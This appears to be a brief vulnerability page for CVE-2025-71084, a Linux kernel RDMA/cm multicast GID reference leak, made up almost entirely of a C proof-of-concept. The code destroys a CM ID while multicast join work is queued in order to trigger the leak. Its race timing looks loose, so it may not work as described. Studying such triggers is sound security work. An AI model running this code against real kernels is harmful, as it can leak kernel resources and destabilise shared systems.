CVE-2025-71084: Linux内核RDMA/cm多播GID表引用泄漏漏洞

#include <stdio.h> #include <rdma/rdma_cma.h> #include <rdma/ib_verbs.h> #include <pthread.h> #include <unistd.h> /* PoC for CVE-2025-71084: RDMA/cm multicast GID table reference leak * This demonstrates triggering the condition where CM ID is destroyed * while multicast creation event is still queued. */ volatile int destroy_now = 0; void* work_thread(void* arg) { struct rdma_cm_id *id = (struct rdma_cm_id*)arg; /* Simulate multicast join operation that queues work */ struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(12345); addr.sin_addr.s_addr = inet_addr("224.0.0.1"); /* This queues work for multicast GID registration */ rdma_join_multicast(id, (struct sockaddr*)&addr, NULL); /* Signal that work is queued */ while (!destroy_now) { usleep(1000); } return NULL; } int main() { struct rdma_event_channel *ec = NULL; struct rdma_cm_id *id = NULL; pthread_t tid; /* Initialize RDMA resources */ ec = rdma_create_event_channel(); if (!ec) { fprintf(stderr, "Failed to create event channel\n"); return 1; } if (rdma_create_id(ec, &id, NULL, RDMA_PS_TCP)) { fprintf(stderr, "Failed to create CM ID\n"); return 1; } /* Start thread that queues multicast work */ pthread_create(&tid, NULL, work_thread, id); /* Give time for work to be queued */ usleep(50000); /* Destroy CM ID while multicast work is queued * This triggers cancel_work_sync() preventing ah_attr cleanup * and causes reference leak */ destroy_now = 1; pthread_join(tid, NULL); rdma_destroy_id(id); rdma_destroy_event_channel(ec); printf("Check dmesg for: GID entry ref leak warning\n"); return 0; }